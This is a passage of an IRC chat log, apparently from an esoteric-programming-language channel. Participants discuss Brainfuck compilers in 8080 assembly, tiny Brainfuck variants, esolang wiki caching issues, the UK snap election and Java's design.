program we both used to test our interpreters hth 03:44:21 i vaguely recall someone did once 03:44:24 aha 03:46:00 [wiki] [[Eodermdrome]] https://esolangs.org/w/index.php?diff=51766&oldid=51765 * Oerjan * (-40) /* Computational class */ It's been tested now 03:55:31 -!- Sgeo_ has joined. 03:56:06 -!- Sgeo__ has joined. 03:59:34 -!- Sgeo has quit (Ping timeout: 268 seconds). 04:00:18 -!- Sgeo_ has quit (Ping timeout: 260 seconds). 04:06:35 why's there not a page about sed programming 04:06:43 like tetris in sed or gzip in sed 04:07:21 because, while sed is a normal tool, writing a fully functional tetris implementation in it is not normal 04:07:29 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 04:08:02 -!- hppavilion[1] has joined. 04:08:32 Soni: a bit tricky to get keyboard input, i think 04:09:02 stdin 04:09:31 Soni: sed can only take whole lines as input 04:10:48 also, a bit tricky to do anything when the user is _not_ giving input. 04:11:07 that's why you need to press return every time you give it input 04:11:24 (or when you *don't* give it any input) 04:14:19 þo 04:14:20 þm 04:14:22 hi 04:16:06 sounds like a good tetris ui 04:17:23 after all, tetris can only take whole lines as output 04:20:27 -!- augur has quit (Remote host closed the connection). 04:39:34 zzo38: Do you play bridge? 05:21:44 @tell moonythedwarf quinor, besides, we can revert your shit as long as you dont chmod 000 everything. <-- that bug was fixed hth 05:21:44 Consider it noted. 05:24:05 ? dowg 05:24:06 A dowg is a wise dog. 05:24:12 tomfoolery dog 05:24:13 I must confess, I know not of what you are speaking. 05:24:14 tomfoolery dowg 05:24:15 I must confess, I know not of what you are speaking. 05:24:19 tomfoolery dowg 05:24:19 I must confess, I know not of what you are speaking. 05:24:22 tomfoolery tomfoolery 05:24:23 tomfoolery is wisdom 05:24:32 tomfoolery wisdom 05:24:33 wisdom is tomfoolery 05:24:38 wisdom tomfoolery 05:24:39 tomfoolery//tomfoolery is always factually inaccurate. always. 05:24:46 wisdom wisdom 05:24:48 fourth wisdom//.wisdoms other the all upon builds wisdom fourth The 05:25:05 ? fifth wisdom 05:25:06 fifth wisdom? ¯\(°​_o)/¯ 05:25:08 ? first wisdom 05:25:09 first wisdom? ¯\(°​_o)/¯ 05:25:15 ? wisdom wisdom 05:25:16 wisdom wisdom? ¯\(°​_o)/¯ 05:25:23 ... 05:25:24 ? sed 05:25:25 sed? ¯\(°​_o)/¯ 05:25:36 ? teriyaki 05:25:37 teriyaki? ¯\(°​_o)/¯ 05:29:16 @tell moonythedwarf also, quinor, if you need the full output, redirect output to a file, and then paste for a link to it <-- | paste is better for command output hth 05:29:16 Consider it noted. 05:32:39 . o O ( If the opposite of goto is comefrom, what is the opposite of return? ) 05:38:48 return is to go to somewhere you have been, so the opposite is to come from a place you'll be 05:39:24 callfrom, i guess 05:41:04 the opposite of return is setjmp 05:41:18 the opposite of call is longjmp 05:41:23 or however you use those things 05:43:47 k 05:45:52 . o O ( opposite of variables ) 05:50:39  ls -l /usr/bin/passwd 05:50:40 ​-rwsr-xr-x 1 0 0 54192 Feb 24 08:09 /usr/bin/passwd 06:01:15 -!- misterhitla has quit (Quit: Leaving). 06:01:28 -!- misterhitla has joined. 06:13:22 -!- orby has quit (Ping timeout: 260 seconds). 06:19:33 so how is quartersquare related to A1? 06:23:00 -!- augur has joined. 06:25:59 augur! 06:26:11 ata 06:26:13 rdococ! 06:29:31 yaya! 06:37:44 Btw: I'll be recreating the dead article K as an esolang. 06:38:09 It was gonna be called µ, but it will have a special K constructor, so I decided, why not call it K? 06:45:36 unidecode K 06:45:37 ​[U+004B LATIN CAPITAL LETTER K] 06:45:42 'K 06:49:43 heh 06:49:57 -!- FreeFull has quit. 06:50:17 [wiki] [[K]] N https://esolangs.org/w/index.php?oldid=51767 * Rdococ * (+2048) Real numbers & the K construct. 06:50:27 still in progress 06:52:42 I have a new extremely geeky insult. 06:52:43 "Your family's so redneck, a DAG is insufficient to describe your pedigree" 06:52:56 o-o 06:53:03 -!- augur has quit (Remote host closed the connection). 06:53:13 rdococ: Yes. 06:53:29 apparently there's a problem with my formatting 06:53:55 rdococ: What is a K constructor? 06:55:25 a K constructor takes two infinite lists and returns a real number whose generalized continued fraction is based on the two lists 06:55:45 actually, the real number is stored as the continued fraction, but meh 06:56:48 hm 06:56:50 how to escape {}? 06:57:10 [wiki] [[K]] M https://esolangs.org/w/index.php?diff=51768&oldid=51767 * Rdococ * (+9) 06:57:59 [wiki] [[User:Rdococ]] https://esolangs.org/w/index.php?diff=51769&oldid=51722 * Rdococ * (+70) /* My hopefully better esoteric languages (2017 CE - infinity CE) */ added K 06:58:00 wow 06:58:06 I like the letter K 06:58:19 hppavilion[1], see Khartridge on esolangs.org 06:58:42 -!- MoALTz has joined. 06:59:46 [wiki] [[User:Rdococ]] https://esolangs.org/w/index.php?diff=51770&oldid=51769 * Rdococ * (+207) Added the Khartridge 07:00:38 take a looksy 07:00:40 yaysy 07:05:23 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 07:06:35 -!- hppavilion[1] has joined. 07:07:01 rdococ: Another thing you might find interesting: Toying with the underlying data model of a language 07:07:11 ? 07:07:29 K uses two lazy infinite lists to store real numbers in memory :P 07:07:50 rdococ: Most normal languages us a map with identifiers as the key-type as their data model 07:08:04 you mean variables? 07:08:11 rdococ: Yes, but hush for now 07:08:18 ? 07:10:24 rdococ: Languages like Forth, Underload, and Befunge use stacks (though befunge also invokes the grid) as the underlying data model, languages like brainfuck use a tape, Fueue uses a Queue 07:10:37 ik 07:10:47 rdococ: yk? 07:10:52 yes 07:11:07 rdococ: But do you get what I mean by "underlying data model" now? 07:11:12 (Most register machines use an array) 07:11:16 I knew in the first place but okay 07:11:29 rdococ: It was just terminology definitions :P 07:11:39 no, I knew that term :P 07:11:47 I was just confused by 'identifiers' tbh 07:11:49 but I got it 07:12:04 rdococ: I'm not sure if I invented the term or it already existed :P 07:12:14 rdococ: Oh, I see. "you mean variables" 07:12:23 * rdococ is confused 07:12:29 rdococ: Yes and no; variables are what identifiers refer to. 07:12:43 No, that's not what I meant. 07:12:47 An identifier is a name given to a variable 07:12:48 Oh 07:12:56 I know an identifier and a variable are different. 07:13:05 rdococ: OK, I see 07:13:13 I was just asking whether you meant the concept of variables when you mentioned a map with identifiers as the key-type. 07:13:18 Yeah 07:13:20 OH! Yes. 07:13:23 That's what it is. 07:13:30 ik 07:13:34 :P 07:16:42 rdococ: But a fun esodea is to mess with the underlying data model in strange ways; like, what if you used a reflective/bidirectional/whatever map instead of a normal one? 07:17:01 https://www.youtube.com/watch?v=uNjxe8ShM-8 07:17:11 I would like to be on-topic for once. 07:17:15 Bidirectional? 07:18:28 (Powerpoint is Turing-complete) 07:19:03 Yes, I think I saw in the SIGBOVIK report about how they made Turing-complete with Powerpoint 07:20:38 rdococ: A map that goes both ways. 07:21:43 hppavilion[1]: ah 07:21:57 so x -> 3 and 3 -> x? 07:23:51 pikhq: I love that video so much 07:24:19 lole 07:24:26 rdococ: Yeah, or even better, x -> y and y -> x 07:24:37 But no actual values there; the information is just in the relations 07:24:41 hppavilion[1]: so x == y 07:24:54 rdococ: Perhaps 07:25:46 hppavilion[1]: it does kinda sound like variables without values 07:25:58 and just equivalence to other variables instead 07:26:22 How about an inverted map? x -> y means y -> ¬x 07:26:28 and ¬x -> ¬y and ¬y -> x 07:26:33 like the imaginary unit 07:26:58 rdococ: ...huh? 07:27:47 I need to ensleepen 07:27:49 -!- hppavilion[1] has quit (Quit: HRII'FHALMA MNAHN'K'YARNAK NGAH NILGH'RI'BTHNKNYTH). 07:28:38 -!- MDead has joined. 07:29:01 I wonder if the current topic is something to hang on to 07:30:22 * rdococ hangs ont oti 07:32:30 -!- MDude has quit (Ping timeout: 240 seconds). 07:32:33 -!- MDead has changed nick to MDude. 07:35:56 -!- sleffy has quit (Ping timeout: 252 seconds). 07:40:00 -!- sleffy has joined. 07:45:32 nyeeh 07:50:46 [wiki] [[K]] https://esolangs.org/w/index.php?diff=51771&oldid=51768 * Rdococ * (+88) /* Overview */ 07:55:42 [wiki] [[K]] M https://esolangs.org/w/index.php?diff=51772&oldid=51771 * Rdococ * (+1) /* Overview */ 08:08:48 -!- Simm has joined. 08:10:38 -!- sleffy has quit (Ping timeout: 240 seconds). 08:13:14 mornin' all 08:15:36 NISTUR! 08:15:45 ? k 08:15:46 K K K Ken 08:15:48 ? khompiler 08:15:50 khompiler? ¯\(°​_o)/¯ 08:15:54 ? khartridge 08:15:55 khartridge? ¯\(°​_o)/¯ 08:16:00 hm 08:16:02 ? brainfuck 08:16:04 brainfuck is the integral of the family of terrible esolangs. The name is a euphemism for "beef". bf -c -t "+>+++++>+++" | mklang --array 08:17:28 RDOCOC! hello? 08:18:25 NISTUR! HELLO! 08:19:16 * Nistur nods 08:19:35 hm 08:20:07 I get the feeling that I might get looked down on here if I mention I've been playing with brainfuck? :P I gather it's the most boring and overused esolang, right? 08:20:53 nah 08:21:07 it's not the most boring and overused esolang. 08:21:15 its derivatives are a whole spectrum of crap tho. 08:21:37 ahh, so I don't have to claw back acceptence by saying I wrote a bf compiler in 8080 assembler? :P 08:21:44 sounds nice 08:21:44 Yes, mostly. 08:21:52 If you want to write a bf compiler in 8080 assembler that is OK. 08:22:11 of course, there are good bf derivatives. BitChanger comes to mind. 08:22:32 also, how about the picofuck project? 08:23:52 I got inspired before christmas by Hackaday's 1kB challenge... I wanted to try to write soemthing for some microcontroller in 1kB... so I decided that, as I'd written a 8080 emulator, I'd try and write something in bf for that... so the limit was 256B for the compiler, and 768B for the bf program... but I have no idea what program I'll write yet (also, I'm looooooong past the 1kB challenge end... but I 08:23:58 was never intending to enter) 08:25:12 I've got an (almost) complete compiler in 252B... it doesn't do input... adding non-blocking input back in would add 11B... blocking input would take... probably 20B more 08:26:32 btw: does the picofuck project allow nested loops, zzo38? 08:29:29 [wiki] [[Khartridge]] M https://esolangs.org/w/index.php?diff=51773&oldid=51759 * Rdococ * (-6) 08:33:29 -!- AnotherTest has joined. 08:33:38 AnotherTest! 08:33:41 Yay! 08:49:05 AnotherTest! 08:54:51 Nistur: you might get more room for the bf program if you pack the commands into 3 bits 08:55:26 oerjan: yes... but then I'd have more space in the compiler as I'd have to decode it 08:55:31 I was considering that 08:56:34 I could probably do 4-bits quite easily... but then I couldn't just basically (in theory) burn some bf code to a chip 08:56:48 rdococ: you can definitely nest the picofuck commands. 08:57:22 https://github.com/nistur/8080bf/blob/master/src/bfc.asm <-- that's the compiler right now :) 08:58:58 https://github.com/nistur/8080bf/blob/master/src/hello2.asm <-- and I 'borrowed' some bf code from... I think from the esolangs wiki for that one... I don't actually have to assemble that, it just ends up as the bf with a  on the end, padded to whatever I set MAXSIZE as... so I _could_ just use a plaintext file... but this way I get dynamic padding so *shrug* 08:59:31 also, I need to add attribution to the bf samples I've got there. I didn't actually mean to submit them -_- I don't like adding other people's work to my repositories 09:06:25 oerjan: I mean, is it treated like a while loop or like separate instructions? 09:07:40 rdococ: it depends what RBF commands it expands to 09:08:31 ah 09:08:34 that's what I meant 09:08:43 wait 09:08:45 I meant nanofuck 09:08:54 oh 09:09:03 idk, too many tiny fucks 09:10:27 right, nanofuck { and } nest like brackets 09:11:07 i'm not sure that we have any other than pico- and nano- 09:11:42 well with SI prefixes. there are smallfuck and tinybf. 09:14:09 plancofuck 09:14:14 one instruction 09:16:40 TRICKY 09:19:55 not if you cheat 09:20:24 have a list of instructions, say RBF instructions 09:20:38 https://en.wikipedia.org/wiki/One_instruction_set_computer <-- if you can have a single instruction set CPU... surely you could just replicate that with a *fuck? 09:20:57 and have each occurrence of the single instruction execute one of them based on IP modulo :P 09:22:06 trying to figure out how it'd have to work... as you only have the one cell to work with 09:23:21 ah 09:23:36 you can't turn an OISC into a OIfuck because OISCs often have parameters 09:23:40 BF instructions can't 09:24:29 yeah 09:24:36 I realise this 09:24:47 if you could initialise the tape beforehand it could work 09:24:54 * rdococ especially likes the toga computer one 09:26:58 rdococ: for that ip modulo thing to work, you'd need to be able to _not_ put the instruction at some positions ... but then you really have two instructions. 09:27:18 oerjan, not if you enable comments 09:28:01 oerjan, the number of programs is countably infinite. just have one number for each program and use the one instruction that many times. 09:28:21 That's just Unary. 09:28:24 https://esolangs.org/wiki/Unary 09:28:27 true. 09:28:52 rdococ: see the intro to https://esolangs.org/wiki/1L 09:29:16 rdococ: and then EOF is your other symbol hth 09:30:09 a language where eof is the only symbol 09:30:35 also, that modulo thing sounds like https://esolangs.org/wiki/Turning_tarpit 09:30:49 so more symbols than Unnecessary but fewer than Unary 09:31:31 I'm working on esoteric nonlangs at the moment 09:31:35 because esolangs are overrated :P 09:32:12 OKAY 09:32:17 -!- oerjan has quit (Quit: Nite). 09:36:21 hm 09:36:34 does rapidly alternating sound to achieve chords work well with sine waves? 09:40:14 you mean FM synthesis? 09:45:46 yes 09:46:41 I was wondering if I could use that in conjunction with the Fourier series to generate something reasonably close to any sound through one channel 09:48:33 -!- ybden has changed nick to bendy. 10:06:17 ah 10:06:17 https://en.wikipedia.org/wiki/Arpeggio 10:33:10 https://www.reddit.com/r/AskComputerScience/comments/660rwn/help_with_understanding_esoteric_languages/ ← so this thread might be of interest to this channel 10:35:48 -!- kiki has quit (Quit: Connection closed for inactivity). 11:25:03 OK, now I read that 11:33:21 -!- boily has joined. 11:39:42 wisdom 11:39:44 monad//Monads are just monoids in the category of endofunctors. 12:12:01 -!- Phantom_Hoover has joined. 12:12:01 -!- Phantom_Hoover has quit (Changing host). 12:12:01 -!- Phantom_Hoover has joined. 12:13:45 -!- Phantom_Hoover has quit (Client Quit). 12:27:34 -!- boily has quit (Quit: IMAGINARY CHICKEN). 12:49:55 -!- AnotherTest has quit (Ping timeout: 255 seconds). 13:08:28 -!- AnotherTest has joined. 13:11:01 -!- ais523 has joined. 13:13:51 whoa UK election 13:16:10 ais523: what did you do 13:16:39 me personally? not very much that's relevant 13:16:51 other than voting Remain, I guess 13:17:07 but I'm actually surprised this didn't happen earlier 13:17:45 I was expecting it to happen before the Article 50 trigger, rather than afterwards 13:17:53 (doing it afterwards rather makes a mockery of the stated timing for it) 13:19:14 there are a lot of potential outcomes here, though (and the fact that the Conservatives have enough votes for it – they do, according to all media reports – implies that at least one of the parties is overestimating their chances for how the election will go) 13:20:30 we're in a weird spot at the moment where the majority of political parties are much lower on credibility than they normally are 13:29:51 huhwhat 13:32:29 b_jonas: it was a complete surprise, especially because the government said that the timing for article 50 was based on getting everything done before the next election 13:32:42 having a snap general election kind-of tears the nation's attention in multiple directions at once 13:34:36 -!- erkin has joined. 13:34:41 ais523: yes, that's a bit strange. you usually want new general elections only if the parliment is in a stalemate where they can't elect a proper government. 13:36:11 It's a bit weird to have done it after, I agree, but it makes sense politically 13:36:31 May never had an electoral mandate; this would give her one to implement Brexit as she wants 13:36:40 And the opposition clearly think they can sink her 13:36:43 well, in this case, we have an unelected prime minister with a very shaky majority (the Conservatives collectively only have a few votes above what they need to force through laws, but the individual Conservatives who hold those votes don't agree on everything, so a rebellion of a small number of MPs can defeat the government) 13:37:00 I mean, the reason for doing it after Article 50 is very clear, it's to prevent the election from being a second referendum 13:37:06 alercah: I've seen the theory that Labour MPs are agreeing to it to get rid of Corbyn 13:37:18 ais523: heh, possible! 13:37:36 on the basis that nobody can stop Brexit now that A50 has been triggered 13:37:52 it's believed that in practice reversing Brexit would be fairly simple 13:38:09 you could almost certainly get the EU to change their rules to allow it to be halted, if Britain had the desire to halt it 13:38:30 yeah, likely 13:38:44 and that is, if it isn't reversible at the moment (according to the person who wrote the text of A50, it was meant to be; the article itself doesn't state an opinion) 13:38:46 alercah: our traidtion established by the three times it's happened is that it doesn't matter if the new minister-president doesn't have a "mandate" from an election, he gets the mandate from the parliment anyway, because in the elections you choose representatives to the parliment, not a government directly 13:39:06 b_jonas: while that's true from a legal point of view, poitically it's very different 13:39:11 b_jonas: that's the rule here as well 13:39:25 it is far easier for a government to act when it has a fresh electoral mandate 13:39:37 politically, for the parlimentary elections, the parties do campaign by stating what government they want and who they'll put as the prime minister, but that doesn't matter, because those parties also campaign by claiming a lot of other lies 13:39:37 most Brits concede that Theresa May has a right to be PM – mostly because she was the only Conservative willing to do the job – but are mildly annoyed at how things worked out 13:39:38 *politically 13:39:54 I don't know why a prime minsiter would be any different from other hollow election promises 13:40:11 in the UK parties don't normally even promise a specific prime minister 13:40:20 it's just normally obvious who it will be (the leader of the party in question) 13:40:50 alercah: did you see the time when the SNP attempted to become the official opposition party? that was hilarious 13:40:54 and I have to concede they had a point 13:41:20 (basically, it was a time of huge front-bench Labour rebellion against Corbyn, and Sturgeon claimed she had more support than Corbyn did among MPs) 13:41:33 alercah: "on the basis that nobody can stop Brexit now that A50 has been triggered" => I still don't buy this. the rule about article 50 is that Brexit is now the default if there's no strong agreement among the EU members and Britain in two years. They're still expected to do talks and agree on some saner method, which _probably_ involves a Brexit, but with lots of special rules, but could be a non-Brexit if politically advantageous. 13:43:51 ais523: hahaha 13:44:03 \ They're still expected to do talks and agree on some saner method, which _probably_ involves a Brexit, but with lots of special rules, but could be a non-Brexit if politically advantageous. 13:44:07 b_jonas: yes, it's true 13:44:21 alercah: the Speaker eventually decided that the rules didn't work like that, but he apparently took the request fairly seriously 13:45:37 ais523: as he should! 13:45:59 indeed 13:48:35 -!- idris-bot has joined. 14:06:15 -!- moony has joined. 14:06:23 -!- int-e has quit (Ping timeout: 260 seconds). 14:06:40 I decided to try making a golfing language, using as many unicode characters as possible (which opens up about 16k commands as a possibility) 14:06:52 -!- Zarutian has joined. 14:07:05 -!- int-e has joined. 14:07:09 -!- Zarutian has quit (Read error: Connection reset by peer). 14:07:36 moony: note that that's not a great way to score points on PPCG, they count programs in bytes (in any encodin the language supports) 14:08:58 -!- Zarutian has joined. 14:09:06 Yea, i know. Im taking stack overflow golf in mind (which often does counting in characters) 14:09:22 moony: maybe look at http://esolangs.org/wiki/Sclipting 14:09:59 (not that I endorse this, but if you want to make a golfing language, look at the precedents) 14:10:19 moony: it only counts in characters if you have a 256-byte character set, at least nowadays 14:10:23 err, 256-entry character set 14:10:27 (or less) 14:11:10 mk 14:11:57 quote 14:12:00 scheme 14:12:03 Choose Your Champion 14:12:03 250) quintopia: no i'm not laughing at you, i'm laughing because *you're stupid* i mean with you 14:25:37 anyone know why https://esolangs.org/wiki/Category:2017 is missing a ton of entries logged out, but not while logged in? 14:27:44 fizzie: ^ 14:28:23 ais523: can reproduce, dunno 14:28:53 Huh. 14:29:34 That's odd. 14:29:46 I'm guessing maybe some sort of a caching thing. 14:29:48 the logged-out version is cached from january 14:29:59 Cached time: 20170129015828 14:30:22 I don't know if this is supposed to clarify anything 14:31:04 I think we've had some problems with category page caching before. 14:31:12 Unfortunately I don't remember the details. 14:31:53 https://www.mediawiki.org/wiki/Manual:File_cache "Category and image description pages aren't purged from file cache. For example, adding or removing a page from a category doesn't update the category page, causing not logged in users to not see the changes in the category page. This is a known limitation. See task T26575" 14:32:02 Yeah, it was that thing. 14:32:20 moony: there's Sclipting 14:33:07 https://phabricator.wikimedia.org/T26575 open since 2010. 14:33:22 Jafet: YES! that's what I said too 14:33:29 are you sure? maybe you're viewing a cached version 14:33:37 does https://esolangs.org/wiki/Category:2017?action=purge work with sufficient privileges? 14:33:57 (not a solution, obviously, but may reduce the embarrassment a bit) 14:34:29 int-e: no, I tried 14:34:44 I'd say we should blame cloudfare 14:34:59 Even though we're not using it? 14:35:48 There's a maintenance PHP script I run when I upgrade versions which purges all cached stuff. 14:35:59 int-e: I tried too, it doens't help 14:36:13 I last did this in Jan 28th, which is probably why the cached copy is from Jan 29th. 14:36:32 :-( 14:36:38 and the 2017 category is the most obvious 14:36:48 because the older year categories don't change much and the nonyear categories are too large 14:37:23 I could rerun rebuildFileCache.php every now and then, I guess. 14:37:28 @part 14:37:28 Not enough privileges 14:37:43 @slap Bowserinator 14:37:43 * lambdabot karate-chops Bowserinator into two equally sized halves 14:39:00 b_jonas: 是hocking 14:39:30 wat 14:40:41 I wonder why mediawiki even maintains two cached versions 14:41:18 two? 14:41:34 oh, you mean one for logged in and one for logged out users? 14:41:39 are you sure the former is cached? 14:42:01 There is no (FileCache) cache for logged-in users. 14:42:54 I wonder if I can just remove the cached .html files. Presumably. 14:42:58 “Cached time: 20170418133312” 14:43:30 That looks to have worked. 14:43:31 sorry, luckily I'm a bit ignorant about the internals of mediawiki 14:43:57 also the “Cache expiry”, whose value is 86400, would seem to have not been implemented 14:44:36 Jafet: FileCache doesn't have expiration, no. 14:45:07 is the cache actually necessary? 14:45:12 -!- ^_^v has joined. 14:45:53 I don't know about "necessary", I haven't really touched the existing setup. 14:46:10 I do think most browsing happens non-logged-in, though, so presumably it's doing something. 14:46:44 and mediawiki rendering is expensive 14:47:58 I expect it'll help if the wiki is ever brought up on a popular reddit thread... which isn't impossible. 14:48:26 (I almost wrote "slashdot" 14:48:27 ) 14:48:54 Anyhow, the "Cached time:" for logged-in users probably has something to do with the memcached thing. 14:49:32 AIUI, wgUseFileCache = true is pretty much separate from wgMainCacheType = CACHE_MEMCACHED, both of which we do. 14:50:35 The former caches the full sent-to-browser HTML output on disk, and only applies to logged-out users. 14:51:24 The latter I believe is a more of an object cache. 14:51:30 fizzie: and action=purged applies to the latter? 14:51:51 um 14:51:58 action=purge 14:52:37 Well, I don't know. The file cache docs do mention action=purge, but it didn't seem to do anything. 14:52:43 -!- AnotherTest has quit (Ping timeout: 240 seconds). 14:53:43 -!- AnotherTest has joined. 14:59:10 [wiki] [[Trajedy]] https://esolangs.org/w/index.php?diff=51774&oldid=51291 * Ais523 * (+2) links to userpages must be marked (Esolang policy); if you want to change your username, let me know 14:59:27 Jafet: ^ 15:00:14 sure 15:00:35 (I'm fine with that edit) 15:01:43 -!- atslash has joined. 15:01:55 what's the "sure" referring to? 15:03:15 the thing I added after it 15:03:20 -!- Zarutian has quit (Quit: Zarutian). 15:04:27 right 15:05:58 if you're doing maintenance, I suggest looking at the backlog of https://esolangs.org/wiki/Esolang_talk:Categorization 15:08:08 it's not clear whether there is a backlog there, as it's not clear what the process is when someone makes a category proposal and then nothing happens 15:08:53 if someone wanted to make the musical esolang category, I wouldn't stop them though 15:09:00 it seems like there's enough consensus 15:10:15 perhaps the first backlog is the lack of a process 15:11:19 this is a common problem in Esolang 15:11:32 (the opposite issue is that when there /is/ a process, nobody wants to put in the effort to go through with it) 15:12:45 well, I suspect that people think there is a process proscribing them from just adding new cats 15:16:43 the rule is that you don't create new categories without agreement; and this is a descriptive rule rather than a prescriptive rule (i.e. people who did it had a tendency to get banned, back when graue was in charge, so we added the rule to try to reduce the frequency with which that happened) 15:16:57 I assume that if there /is/ agreement, therefore, you can add them 15:21:18 -!- augur has joined. 15:23:14 -!- augur_ has joined. 15:26:26 -!- augur has quit (Ping timeout: 255 seconds). 15:34:09 ais523: exactly, now nobody creates new categories because that note discourages them, and this too is descriptive, not prescriptive, that is, it's still allowed to create new categories 15:34:36 yep 15:34:52 that said, the number of categories we currently have is fairly large already 15:35:03 so there being a bit of a higher bar to making them probably isn't that much of a big deal 15:35:36 ais523: yeah. if I ever get around to create the articles in my TODO, then we'll have six articles related to IOCCC, so then I'll create an IOCCC category 15:36:03 that might be better as a list than a category 15:36:03 but categorization isn't that important on this small wiki anyway 15:36:12 esolangs defy categorization by nature 15:36:23 like, a See Also on an article about the IOCCC 15:36:32 perhaps 15:37:24 and "IOCCC" is easily searchable anyway, so we might not need a category 15:40:16 ais523: when you weren't here, I mentioned that a lot of people on PPCG seem to have created all sorts of esolangs, of the more useful kind that can be used to write actual programs for golf challenges (not necessarily golf solutions, just solutions that can be written by a human and executed by an interpreter successfully), 15:40:43 I'm not sure that golflangs even are esolangs 15:40:51 and that some of those languages are probably interesting and would be worth an entry on esolang and we don't know about them because there's too few overlap between the two communities. 15:40:53 although I think it's appropriate for esolangs.org to cover thejm 15:41:18 TIO uses a split between "practical languages" and "recreational languages" (the latter category includes both golflangs and esolangs) 15:41:21 ais523: they need not be golflangs. I'd count even something like brainfuck, because people try to golf in it, even when they know very well that the result will be longer than if they just wrote something in perl. 15:41:57 well, I guess there's Brain-Flak (and maybe JSFuck) as massively verbose languages which people try to golf in 15:41:58 ais523: I'm not specifically interested in the golflangs here, I'm just saying they're not very theoretical languages that can't even be implemented for theory reasons, or ones in which nobody will write programs 15:42:13 well, right, PPCG care a lot about languages having interpreters 15:42:20 -!- augur_ has quit (Ping timeout: 240 seconds). 15:42:23 whereas on esolangs.org the specification is much more important 15:42:34 on PPCG, a language doesn't even exist if the interpreter doesn't work (and can't legally be used even if you fix it) 15:43:23 ais523: sure, and people don't submit entries if they can't write them 15:45:17 ais523: so I was looking at Hello, World https://codegolf.stackexchange.com/questions/55422/hello-world , which is clearly a bad question to look at, because it has answers in languages nobody would use for almost any other task 15:45:43 yep, it's a catalogue question, and those are frowned on at PPCG 15:45:51 they want a few but creating new ones tends to get you shouted at 15:46:02 and as usual on long SE threads, people answer it without reading existing answers, so it has actual fucking duplicates, 15:46:38 but it has an interesting non-duplicate which surprised me, namely that there are two languages called Hodor that are apparently unrelated to each other 15:46:51 (it does have real dups too, mind you) 15:47:00 there's a JS program in the question that lists all the answers in alphabetical order by language 15:47:04 that should make dupe checking fairly easy 15:47:44 so anyway, that's the wrong question to look at. what I'd be more interested in is what languages there are that more than one people regularly use to write programs on PPCG, and that we don't know about 15:47:50 because we should know about such languages 15:48:12 some of them might turn out to be interesting (some might not of course, but I let's not bash Java now) 15:48:32 Java is interesting IMO 15:48:41 not sure it's well-designed, but its shortcomings are interesting to think about 15:49:38 and Java is worth at least knowing about just for its cultural significance, just like BF is, no matter how good or bad or uninteresting languges they are 15:55:38 [wiki] [[Esolang:Introduce yourself]] https://esolangs.org/w/index.php?diff=51775&oldid=51751 * D2alphame * (+372) /* Introductions */ 15:56:39 I should probably actually learn Java at some point 15:56:58 Why? 15:57:22 So I can say I dislike it with a clean conscience 15:58:25 heh 15:58:49 i tried it. i disliked it. i tried haskell, i liked it, but it was too much math for me. i tried rust, i liked it, i stuck with it. 16:00:17 I read about Java at one point. That was long ago, and Java has changed since. It seemed... bland to me. As in, it was a language that was made to be uncontroversial, taking the then known wisdom about interpreters and stuff, and building a language 16:00:31 that has the things a language clearly should have, and avoiding most of the more experimental crazy stuff. 16:00:49 It sort of seems like scheme in that respect, but a decade or two later. 16:05:05 but I hear java has changed a bit since, though probably not as much as PHP 16:05:21 Java's backwards compatibility is really something of an anchor on it at this point 16:05:55 also, its standard library doesn't have much of a unified vision 16:06:08 it acts like a collection of unrelated libraries from different vendors 16:09:56 ais523: backwards compatbility => that's true to a lot of software, not just Java, and I think it's part of the uncontroversial wisdom. everyone knows that a programming language should be backwards compatible, so that you have to spend less time on fixing bitrot of old and well working libraries. that's why we still have Fortran compilers, even if we know the problems with fortran. 16:10:08 [wiki] [[User:D2alphame]] N https://esolangs.org/w/index.php?oldid=51776 * D2alphame * (+282) Created page with "==D2alphame== Programmer, chess player, cuber, checkers player, mathematically-minded, Nigerian, analytical, Nihongo no gakusei. I love programming! See my [https://github.com..." 16:10:24 "standard library doesn't have much of a unified vision" => don't all sufficiently old languages get that eventually? 16:10:58 because of back compat, the library can only grow, not shrink, and it gets added parts that were only de facto standard because programs depend on half-ready extensions 16:11:11 there are some changes which wouldn't make any negative difference to 99.9% of programs and yet would make any programs easier to write 16:12:15 a simple example would be changing Object#getClass from a method on Object only that returns Class, to a method on every class that returns Class 16:12:26 ais523: what effect would it have on those very few programs that it could change? proper error messages about incompatibility, or undebuggable random "segfaults"? 16:12:35 this would make the type system accept some things that are obviously safe but don't currently correctly type 16:12:51 and I don't think you'd even notice it unless you were really trying hard to contrive a situation where it matters 16:13:18 I guess it could screw up overload resolution if you had some really specific overloads? 16:13:28 not even sure on that though 16:13:28 because undebuggable segfaults at remote parts of the program in very contreived cases is what stops some of the "improvements" that seem reasonable 16:13:36 outside of Java-land that is 16:14:00 Java never segfaults, barring buggy libraries and extensions 16:14:13 ais523: yeah, I know, which is why I used quotes 16:14:13 the equivalence is random ClassCastExceptions 16:14:18 which tend to be much more debuggable 16:14:22 *equivalent 16:14:30 ais523: anyway, could this be solved by adding a new method rather than changing getClass instead? 16:14:46 you can't pick any possible name for it that doesn't potentially clash with some method that already exists 16:14:53 Java's namespacing is fairly poor 16:15:37 it's easy enough to write a static method to replicate the functionality, though (although doing so requires a cast that the compiler can't prove safe, it actually is safe, so you can just suppress the warning) 16:18:42 ok 16:33:56 -!- sleffy has joined. 16:37:14 -!- augur has joined. 16:46:26 -!- S1 has joined. 16:53:43 -!- S1 has changed nick to Herbstkind. 17:17:22 -!- atslash has quit (Ping timeout: 258 seconds). 17:18:02 -!- bendy has changed nick to ybden. 17:18:15 -!- atslash has joined. 17:20:31 -!- FreeFull has joined. 17:28:00 -!- ^_^v has quit (Quit: Leaving). 17:28:10 -!- ^_^v has joined. 17:35:53 <\oren\> Is there a polite way to say "I'm not moving to a potential war zone are you mental?!" 17:38:20 \oren\: um, if I'm representative, I'm not sure this channel of nerds is good at helping you in diplomatic ways to phrase stuff in formal letters 17:39:31 \oren\: but if I was asked to take up a job in Israel, and wanted to say that politely, I could refer to that I have an aged grandmother and other family who binds me to here and I don't want to get too far from them when they are in need, and I think you can say that even if it's not quite honest 17:39:52 only I'm not sure how risky it is to say that if you do want to move to America for a job 17:42:23 but ask someone who's better at not saying stupid things than me 17:44:35 <\oren\> I see... 18:02:54 -!- hppavilion[1] has joined. 18:03:13 ... 18:03:45 I'm reading sheet music, and I'm pretty sure this chord has an acúte accent 18:04:02 *ácute 18:06:30 (not to be confused with a gràve, a dőuble acute, a dȍuble grave, a line̍ above, or a do̎uble line above) 18:06:50 hppavilion[1]: don't they use such things as intonation marks with sometimes multiple meanings depending on who writes them? 18:07:11 (Or, if you're particularly 